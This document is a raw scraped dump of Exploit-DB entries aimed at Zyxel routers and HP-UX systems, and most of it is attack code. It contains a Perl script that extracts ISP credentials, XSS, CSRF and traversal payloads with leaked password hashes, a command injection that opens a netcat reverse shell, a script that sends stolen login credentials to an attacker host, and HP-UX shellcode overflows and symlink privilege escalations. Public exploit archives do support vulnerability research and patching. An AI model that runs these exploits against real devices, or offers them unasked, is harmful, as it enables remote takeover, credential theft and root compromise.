deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34751
Description: ZYXEL Prestig P-660HNU-T1 - ISP Credentials Disclosure
Type: webapps
Platform: hardware
Date: 2014-09-24
Author: Sebastián Magof

Exploit:
#!/usr/bin/perl 
# Exploit Author: Sebastián Magof 
# Hardware: ZyXEL Prestig P-660HNU-T1
# Vulnerable file: wzADSL.asp
# location: http://gateway/cgi-bin/wzADSL.asp
# Bug: ISP usr+pwd disclosure 
# Type: Local 
# Date: 22/09/2014
# Vendor Homepage: http://www.zyxel.com/
# Version: 2.00(AAIJ.1)
# Tested on: Linux Fedora 20/Windows 7
# (\/)
# (**) Alpha (:
#(")(")
#usage:perl exploit.pl
use LWP::UserAgent;
use HTTP::Request;
#begin
print "\n\n************************************************************\n";
print "* ZyXEL Prestig MODELO P-660HNU-T1v2 local ISP usr+pwd     *\n";#default gateway 192.168.1.1 (Arnet Telecom ISP Argentina) 
print "************************************************************\n\n";#in oher country modify $url line 25

 
#isp pwd disclosure file
my $url = "http://192.168.1.1/cgi-bin/wzADSL.asp";
  
 
#UserAgent
my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0");
  
 
#Request.
my $req = HTTP::Request->new(GET => $url);
my $request = $ua->request($req);
my $content = $request->content(); #content
my ($usr) = $content =~ m/name="wan_UserName" size="30" maxlength="128" value="(.+)" >/;
my ($pwd) = $content =~ m/name="wan_Password" size="30" maxlength="128" value="(.+)">/;
#ISP usr+pwd Arnet Telecom Argentina;
print "User: $usr\n";
print "Password: $pwd\n\n";
exit(0);
 
 
 
__EOF__
Exploit-DB #28283
Description: ZYXEL Prestige 660H-61 ADSL Router - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2006-07-27
Author: jose.palanco

Exploit:
source: https://www.securityfocus.com/bid/19180/info

The Zyxel Prestige 660H-61 ADSL Router is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/Forms/rpSysAdmin?a=%3Cscript%3Ealert(&#039;www.eazel.es&#039;)%3C/script%3E
Exploit-DB #45904
Description: Zyxel VMG1312-B10D 5.13AAXA.8 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2018-11-26
Author: numan türle

Exploit:
# Exploit Title: Zyxel VMG1312-B10D 5.13AAXA.8 - Directory Traversal
# Date: 2018-11-17
# Exploit Author: numan türle
# Vendor Homepage: https://www.zyxel.com/
# Software Link: https://www.zyxel.com/products_services/Wireless-N-VDSL2-4-port-Gateway-with-USB-VMG1312-B10D/
# Tested on: macOS
# Fixed firmware: 5.13(AAXA.8)C0

# PoC
@modem_gateway = "192.168.1.1" // default address

http://@modem_gateway/../../../../../../../../../../../../etc/passwd

here are the contents :

############################## contents ##############################
nobody:x:99:99:nobody:/nonexistent:/bin/false
root:zKtrESdI2DPME:0:0:root:/home/root:/bin/sh
supervisor:.t7H3bCRtJ6UY:12:12:supervisor:/home/supervisor:/bin/sh
admin:avHcRxJLoXvas:21:21:admin:/home/admin:/bin/sh
user:AebeEcyKDnOzI:31:31:user:/home/user:/bin/sh
Exploit-DB #45236
Description: ZyXEL VMG3312-B10B - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-08-22
Author: Samet ŞAHİN

Exploit:
# Exploit Title: ZyXEL VMG3312-B10B - Cross-Site Scripting
# Date: 2018-08-21
# Exploit Author: Samet ŞAHİN
# Vendor Homepage: https://www.zyxel.com/
# Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/
# Version: ZyXEL VMG3312-B10B
# Tested on: Mozilla Firefox 61.0.2 & Google Chrome 67.0.3396.99
# Category: Stored XSS
# CVE : N/A

Malicious POST REQUEST :
POST /pages/connectionStatus/connectionStatus-hostEntry.cmd HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/index.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Cookie: SESSION=529313605
Connection: close
Upgrade-Insecure-Requests: 1
action=edit&oldip=192.168.1.36&hosttype=&sessionKey=[PII_REDACTED]&hostname=X<svg onload=alert()>

Vulnerable PAGE :
/pages/connectionStatus/connectionStatus-hostEntry.cmd

Vulnerable PARAMETER :
hostname

Cross Site Scripting PAYLOAD :
X<svg onload=alert()>

#Samet ŞAHİN
Exploit-DB #46326
Description: Zyxel VMG3312-B10B DSL-491HNU-B1B v2 Modem - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2019-02-05
Author: Yusuf Furkan

Exploit:
# Exploit Title: Zyxel VMG3312-B10B DSL-491HNU-B1B v2 modem CSRF Exploit
# Version: Zyxel VMG3312-B10B
# Tested on : Parrot Os
# Author: Yusuf Furkan
# Twitter: h1_yusuf
# CVE: CVE-2019-7391
# model name: DSL-491HNU-B1B v2

<html>
  <!-- CSRF PoC - generated by Yusuf -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/login/login-page.cgi" method="POST">
      <input type="hidden" name="AuthName" value="admin" />
      <input type="hidden" name="AuthPassword" value="1234" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #46706
Description: Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-04-16
Author: Aaron Bishop

Exploit:
# Exploit Title: Reflected XSS on Zyxel login pages
# Date: 10 Apr 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://www.zyxel.com/us/en/
# Version: V4.31
# Tested on: ZyWall 310, ZyWall 110, USG1900, ATP500, USG40 - weblogin.cgi, webauth_relogin.cgi
# CVE : 2019-9955

1. Description
==============

Several Zyxel devices are vulnerable to a reflected Cross-Site Scripting via the
mp_idx parameter on weblogin.cgi and webauth_relogin.cgi.

2. Proof of Concept
=============

Host a malicious file JavaScript file named 'z', or any other single character,
locally.  The contents of 'z' for the following example are:


-----
$("button").click(function() {
    $.get("//$LHOST", { username: $("input:text").val(), password: $("input:password").val(), host: location.hostname});
});
-----


Close the mp_idx variable with "; and Use the getScript functionality of jQuery
to include the malicious file: 

Request:

GET /?mobile=1&mp_idx=%22;$.getScript(%27//$LHOST/z%27);// HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1



Response:

HTTP/1.1 200 OK
Date: Wed, 10 Apr 2019 23:13:39 GMT
Cache-Control: no-cache, private
Pragma: no-cache
Expires: Mon, 16 Apr 1973 13:10:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 7957

<!DOCTYPE html>
<html>
<head>
	<title>Welcome</title>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta charset="utf-8">
	<meta http-equiv="pragma" content="no-cache">
    <link href="/ext-js/mobile/css/jquery.mobile-1.4.2.min.css?v=[PII_REDACTED]7" rel="stylesheet" type="text/css">
    <link href="/ext-js/mobile/css/style.css?v=[PII_REDACTED]7" rel="stylesheet" type="text/css">
    <link href="/ext-js/mobile/css/theme.css?v=[PII_REDACTED]7" rel="stylesheet" type="text/css">
	<link rel="stylesheet" type="text/css" href="/logo/mobile_custmiz_page.css?v=[PII_REDACTED]7" /> 
	<script src="/ext-js/mobile/js/jquery-1.8.2.min.js?v=[PII_REDACTED]7" type="text/javascript"></script>
    <script src="/ext-js/mobile/js/jquery.mobile-1.4.2.min.js?v=[PII_REDACTED]7" type="text/javascript"></script>
	<script type="text/javascript" src="/lang/language_panel.js?v=[PII_REDACTED]7"></script>
<script language="JavaScript">
	var errorNum = 0;
	var mp_idx = "";$.getScript('//$LHOST/z');//";
...


When the login form is submitted, the host for the malicious file gets a request
containing the login credentials and target system:

$LHOST - - [10/Apr/2019 23:04:41] "GET /z?_=[PII_REDACTED]76 HTTP/1.1" 200 -
$LHOST - - [10/Apr/2019 23:04:49] "GET /?username=test&[CREDENTIAL_REDACTED]=$RHOST HTTP/1.1" 200 -
Exploit-DB #41782
Description: Zyxel_ EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection
Type: webapps
Platform: hardware
Date: 2017-04-02
Author: trevor Hough

Exploit:
# Exploit Title: Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection
# Date: 2017-04-02
# Exploit Author: Fluffy Huffy (trevor Hough)
# Vendor Homepage: www.zyxel.com
# Version: EMG2926 - V1.00(AAQT.4)b8
# Tested on: linux
# CVE : CVE-2017-6884

OS command injection vulnerability was discovered in a commonly used
home router (zyxel - EMG2926 - V1.00(AAQT.4)b8). The vulnerability is located in the diagnostic tools
specify the nslookup function. A malicious user may exploit numerous
vectors to execute arbitrary commands on the router.

Exploit (Reverse Shell)
https://192.168.0.1/cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&
ping_ip=google.ca%20%3B%20nc%20192.168.0.189%204040%20-e%20/p

Exploit (Dump Password File)
Request
GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20cat%20/etc/passwd&server_ip= HTTP/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup
Accept-Language: en-US,en;q=0.8
Cookie: csd=9; sysauth=<Clipped>
Connection: close

Response (Clipped)
<textarea cols="80" rows="15" readonly="true">root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
supervisor:$1$RM8l7snU$KW2C58L2Ijt0th1ThR70q0:0:0:supervisor:/:/bin/ash
admin:$1$<Clipped>:0:0:admin:/:/bin/fail
Exploit-DB #19278
Description: HP HP-UX 10.20 / IBM AIX 4.1.5 - 'connect()' Denial of Service
Type: dos
Platform: hp-ux
Date: 1997-03-05
Author: Cahya Wirawan

Exploit:
source: https://www.securityfocus.com/bid/352/info


Certain versions of AIX and HP/UX contained a bug in the way the OS handled the connect system call. The connect call is used to initiate a connection on a socket. Because of the flaw in the handling code under AIX certain versions will reboot when given two connects, one to a fixed port (a number of different ports were found to trigger this behaviour) and then another random port connection immediately thereafter. 

#!/usr/local/bin/perl5
use Socket;

socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;
Exploit-DB #22552
Description: HP-UX 10.x/11.x - RExec Remote 'Username' Flag Local Buffer Overrun
Type: dos
Platform: hp-ux
Date: 2003-04-29
Author: Davide Del Vecchio

Exploit:
source: https://www.securityfocus.com/bid/7459/info

It has been reported that a problem in the rexec program included with some versions of HP-UX may be vulnerable to a boundary condition error. It may be possible for a local user to exploit this vulnerability to gain elevated privileges on the system. 

exec 127.0.0.1 -l `perl -e 'printf "A" x 9777'` -n something
Exploit-DB #23236
Description: HP-UX 11 CDE DTPrintInfo - Display Environment Variable Buffer Overflow
Type: dos
Platform: hp-ux
Date: 2003-10-08
Author: Davide Del Vecchio

Exploit:
source: https://www.securityfocus.com/bid/8795/info

It has been reported that dtprintinfo, installed setuid root by default, is susceptible to a locally exploitable buffer overflow vulnerability. The condition is triggered when the value of the DISPLAY environment variable is set to a string exceeding 9777 bytes in length. The vulnerability may allow for local attackers to gain root privileges on the affected host. 

export DISPLAY="`perl -e 'printf "A" x 9777'`"
Exploit-DB #22561
Description: HP-UX 11 RWrite - Buffer Overflow
Type: dos
Platform: hp-ux
Date: 2003-05-02
Author: bt@delfi.lt

Exploit:
source: https://www.securityfocus.com/bid/7489/info

HP-UX rwrite utility has been reported prone to a buffer overflow vulnerability. Although unconfirmed code execution with elevated privileges may be possible.

The condition presents itself when excessive data is supplied as part of an argument passed to the vulnerable utility. Due to the lack of bounds checking, the vulnerable utility will crash.

The precise technical details of this vulnerability are currently unknown. This BID will be updated, as further information is available.

$ /usr/lbin/rwrite something `perl -e 'print "A" x 14628'` something
Exploit-DB #195
Description: HP-UX 11.00/10.20 crontab - Overwrite Files
Type: dos
Platform: hp-ux
Date: 2000-11-19
Author: dubhe

Exploit:
#!/bin/sh
#
#  HP-UX 11.00/10.20 crontab
#
#  Kyong-won,Cho
#
#             dubhe@hackerslab.com
#
#  Usage : ./crontab.sh <distfile>
#

if [ -z "$1" ]
then

echo "Usage : $0 <distfile>"
exit

fi

cat << _EOF_ > /tmp/crontab_exp
#!/bin/sh

ln -sf $1 \$1

_EOF_

chmod 755 /tmp/crontab_exp

EDITOR=/tmp/crontab_exp
export EDITOR

crontab -e 2> /tmp/crontab$$

grep -v "error on previous line" /tmp/crontab$$

rm -f /tmp/crontab_exp /tmp/crontab$$


# milw0rm.com [2000-11-19]
Exploit-DB #20373
Description: HP-UX 9.x/10.x/11.x - cu Buffer Overflow
Type: dos
Platform: hp-ux
Date: 2000-11-02
Author: zorgon

Exploit:
source: https://www.securityfocus.com/bid/1886/info

cu is a unix utility that is used for communication between two hosts (usually over phone lines). It is typically isntalled setuid root so that it can access communications hardware when executed by a regular user. 

The version of cu that ships with HP-UX is vulnerable to a buffer overflow attack that may result in an escalation of privileges if exploited properly. The argument to the -l option (the line) is handled in an unsafe manner and if the length of it exceeds 9777 bytes, it will corrupt vital stack variables. This may result in shellcode provided by the user being executed with the privileges of the process (euid 0).


$ ls -la `which cu`
-r-sr-xr-x 1 bin 40960 9 avr 1998 /bin/cu

Using '-l' with a long option string:
$ cu -l `perl -e 'printf "A" x 9777'`
La connexion a chou : Requested device/system name not known

$ cu -l `perl -e 'printf "A" x 9778'`
Memory fault
Exploit-DB #212
Description: HP-UX FTPD - Remote Buffer Overflow
Type: dos
Platform: hp-ux
Date: 2000-12-01
Author: venglin

Exploit:
/* theoretical exploit for hpux ftpd vulnerability              */
/* not tested anywhere, needs tweaking                          */

/* (c) 2000 by babcia padlina ltd. <venglin@freebsd.lublin.pl>  */

#include <stdio.h>
#include <stdlib.h>

#define NOPS 100
#define BUFSIZE 1024

char shellcode[] =                       /*   HP-UX shellcode   */
  "\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01\xe4\x20\xe0\x08\x0b"
  "\x5a\x02\x9a\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41"
  "\x04\x02\x60\x40\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02"
  "\x98\x34\x16\x04\xbe\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34"
  "\xde\xad\xca\xfe\x2f\x62\x69\x6e\x2f\x73\x68";

char nop[] = "\x08\x21\x02\x80";                /*  PA-RISC NOP */

unsigned long ret = 0xdeadbeef;

int main(argc, argv)
int argc;
char **argv;
{
  int stackofs;
  char buf[BUFSIZ*2];
  int i;

  for (strcpy(buf, "PASS "),i=0;i<NOPS;i++) strcat(buf, nop);
  sprintf(buf+strlen(buf), "%s%%.%dd%c%c%c%c", shellcode,
    BUFSIZE-strlen(shellcode)-NOPS*4-4,
    ((int)ret & 0xff), (((int)ret & 0xff00) >> 8),
    (((int)ret & 0xff0000) >> 16),
    (((int)ret & 0xff000000) >> 24));
  printf("USER ftp\r\n%s\r\n", buf);

  exit(0);
}


// milw0rm.com [2000-12-01]
Exploit-DB #21577
Description: HP CIFS/9000 Server A.01.05/A.01.06 - Local Buffer Overflow
Type: local
Platform: hp-ux
Date: 2002-11-06
Author: watercloud

Exploit:
// source: https://www.securityfocus.com/bid/5088/info

A vulnerability has been reported in the /opt/cifsclient/bin/cifslogin utility distributed with CIFS/9000. The utility is prone to several buffer overflow conditions and may lead to root compromise.

The vulnerability occurs due to the lack of bounds checking when accepting user input for various commandline options. Specifically, the utility fails to check for excessively long arguments to the following commandline options: '-U', '-D', '-P', '-S', '-N', and '-u'.

/*
Name    : ex_cifslogin.c
Compile : cc ex_cifslogin -o cifslogin
Purpose : exploit cifslogin command for HP-UX 11.11 11.0 10.20��to get root shell
Author  : watercloud < safesuite@263.net, watercloud@xfocus.net >
Date    : 2002-11-6
Announce: Use as your own risk��
Thanks  : bear < bearundertree@163.com >
Tested  : HPUX B11.11
*/
#include<stdio.h>

#define T_LEN  2304
#define BUFF_LEN 2176
#define NOP 0x0b390280

char shellcode[]=
        "\xe8\x3f\x1f\xfd\xb4\x23\x03\xe8\x60\x60\x3c\x61\x0b\x39\x02"
        "\x99\x34\x1a\x3c\x53\x0b\x43\x06\x1a\x20\x20\x08\x01\x34\x16\x03"
        "\xe8\xe4\x20\xe0\x08\x96\xd6\x03\xfe/bin/shA";
long addr;
char buffer[T_LEN];

main()
{
        int addr_off =800 ;

        int  n=BUFF_LEN/4,i=0;
        long * ap = (long *) &buffer[BUFF_LEN];
        char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
        long * np = (long *) buffer;

        addr = ((long) &addr_off + T_LEN ) & 0xffffff40 +0x40 ;

        for(i=0;i<n;np[i++]=NOP);
        memcpy(sp,shellcode,strlen(shellcode));
        for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr+addr_off);

        printf("SP=0x%x EXP_SP=0x%x OFF=0x%x (%i)\n",(long)&addr_off & 0xffffff40,addr,addr_off);
        printf("Addr =0x%x NOP_LEN=%i\n",addr+addr_off,BUFF_LEN-strlen(shellcode));
        printf("BUFFER_LEN=%i\n",strlen(buffer));

        execl("/opt/cifsclient/bin/cifslogin","cifslogin","123",buffer,NULL);
}
Exploit-DB #20386
Description: HP-UX 10.20 - registrar Local Arbitrary File Read
Type: local
Platform: hp-ux
Date: 2000-11-08
Author: J.A. Gutierrez

Exploit:
source: https://www.securityfocus.com/bid/1919/info

The registrar service that ships with version 10.20 (possibly others) of HP's HP-UX operating system contains a vulnerability that may allow a local user to read any file on the hosts filesystem. The service (which listens on tcp port 1712) writes to a log file, /etc/opt/resmon/log/registrar.log. 

Default permissions on the /etc/opt/resmon/log directory allow users to overwrite the log file within it via "mv", which is normally created and written to by root when connections are made to the service. 

After mv'ing an existing log file to another location, a malicious user can create a symbolic link to an arbitrary file they do not have read access to with the filename registrar.log in etc/opt/resmon/log. If any connections are made to the registrar service after this, the mode of the file pointed to will change to 0644 (world readable) and log data will be appended to it.

In addition to disclosing to the user restricted information, this may lead to an elevation of privileges for the local attacker.

$ uname -sr
HP-UX B.10.20
$ cd /etc/opt/resmon/log
$ mv registrar.log registrar.log.orig
$ ls -l /.sh_history
-rw------- 1 root sys 3316 Sep 20 15:22 /.sh_history
$ ln /.sh_history registrar.log
$ nc hpux.example.com 1712 < /etc/motd
$ ls -l /.sh_history
-rw-r--r-- 2 root sys 3605 Nov 8 09:45 /.sh_history
$ rm -f registrar.log
$ mv registrar.log.orig registrar.log
Exploit-DB #19535
Description: HP-UX 10.20 newgrp - Local Privilege Escalation
Type: local
Platform: hp-ux
Date: 1996-12-01
Author: SOD

Exploit:
#source: https://www.securityfocus.com/bid/683/info
#
#Due to insufficient bounds checking on user supplied arguments, it is possible to overflow an internal buffer and execute arbitrary code as root. 

#!/usr/bin/perl

use FileHandle;

sub h2cs {
local($stuff)=@_;
local($rv);
while($stuff !~ /^$/) {
$bob=$stuff;
$bob =~ s/^(..).*$/$1/;
$stuff =~ s/^..//;
$rv.=chr(oct("0x${bob}"));
}
return $rv;
}

open(PIPE,"uname -r|");
chop($rev=<PIPE>);
close(PIPE);
$rev =~ s/^.*\.(.*)\..*$/$1/;

if ($rev eq "10") {
$offset=2074;
$prealign="";
$postalign="P";
$pcoq=h2cs("7b03A00C");
} else {
$offset=2074;
$prealign="";
$postalign="P";
$pcoq=h2cs("7b03300C");
}

$nop=h2cs("08210280");
$code="";
# Oddly enough, real uid already == 0
# Could probably make a + + link bug out of this, too..
#$code.=h2cs("34160506"); # LDI 643,r22
#$code.=h2cs("96d60534"); # SUBI 666,r22,r22
#$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1
#$code.=h2cs("e420e008"); # BLE 4(sr7,r1)
#$code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0
$code.=h2cs("e83f1ffd"); # BL .+8,r1
$code.=h2cs("08210280"); # NOP
$code.=h2cs("34020102"); # LDI 129,rp
$code.=h2cs("08410402"); # SUB r1,rp,rp
$code.=h2cs("60400162"); # STB r0,177(rp)
$code.=h2cs("b45a0154"); # ADDI 170,rp,arg0
$code.=h2cs("0b390299"); # XOR arg0,arg0,arg0
$code.=h2cs("0b180298"); # XOR arg0,arg0,arg0
$code.=h2cs("341604be"); # LDI 607,r22
$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1
$code.=h2cs("e420e008"); # BLE 4(sr7,r1)
$code.=h2cs("96d60534"); # SUB 666,r22,r22
$code.=h2cs("deadcafe"); # Illegal instruction -- dump core if exec fails
$data="/bin/sh."; # Data stuff

$codedata=$code.$data;
$num=int(($offset-length($code)-length($data)-4)/4);
$pre="$nop"x$num;
$of=$prealign;
$of.=$pre.$code.$data.$postalign.$pcoq;
exec("/bin/newgrp","$of");
Exploit-DB #20002
Description: HP-UX 10.20/11.0 - '.SNMPD' File Permission
Type: local
Platform: hp-ux
Date: 2000-06-07
Author: loveyou

Exploit:
source: https://www.securityfocus.com/bid/1327/info

A vulnerability exists in the snmpd included with HPUX 11, from Hewlett Packard. The configuration file for the snmpd is world writable. This could allow any user on the system to view and/or alter the settings of the snmp daemon. This in turn could be used to alter the configuration of the system, including, but not limited to, routing, addressing, arp caches, the status of connections, and so on. It is also possible this could be used to elevate access levels.

Another vulnerability exists which allows users to redirect the logging location of snmpd to an alternate location, using symbolic links. This file is in a mode 777 directory, so any user can remove a file that already exists. Used in conjunction with the ability to alter configuration, this may also help leverage root access. This file is created at boot time, and while /tmp is cleared of its contents, there may be a potential window where a user can create a symbolic link prior to its creation, and directly use this to elevate privileges. 

edit /etc/SnmpAgent.d/snmpd.conf. It is world writable.